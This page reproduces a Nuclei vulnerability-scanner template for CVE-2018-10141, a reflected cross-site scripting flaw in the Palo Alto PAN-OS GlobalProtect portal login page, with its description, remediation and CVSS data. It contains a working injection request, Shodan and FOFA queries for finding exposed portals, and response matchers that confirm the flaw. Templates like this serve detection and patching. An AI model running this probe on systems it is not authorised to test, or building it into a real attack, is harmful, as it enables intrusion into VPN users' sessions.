CVE-2018-10141: Palo Alto Networks PAN-OS GlobalProtect <8.1.4 - Cross-Site Scripting

Description

Palo Alto Networks PAN-OS before 8.1.4 GlobalProtect Portal Login page allows an unauthenticated attacker to inject arbitrary JavaScript or HTML, making it vulnerable to cross-site scripting.

PoC

id: CVE-2018-10141

info:
  name: Palo Alto Networks PAN-OS GlobalProtect <8.1.4 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: Palo Alto Networks PAN-OS before 8.1.4 GlobalProtect Portal Login page allows an unauthenticated attacker to inject arbitrary JavaScript or HTML, making it vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade to Palo Alto Networks PAN-OS GlobalProtect VPN client version 8.1.4 or later to mitigate this vulnerability.
  reference:
    - https://security.paloaltonetworks.com/CVE-2018-10141
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10141
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10141
    cwe-id: CWE-79
    epss-score: 0.03883
    epss-percentile: 0.89696
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
    shodan-query:
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: icon_hash="-631559155"
  tags: cve,cve2018,panos,vpn,globalprotect,xss,paloaltonetworks,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var valueUser = "j";-alert(1)-"x";'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220699d06eea5b963fd5c5332f2b0fd2191c6a7113dfe6ab853892a6a165ce9e57c02204da29012311d8610bf92db59468cd01894e98671679f9601f49cf3cbaadf37b2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities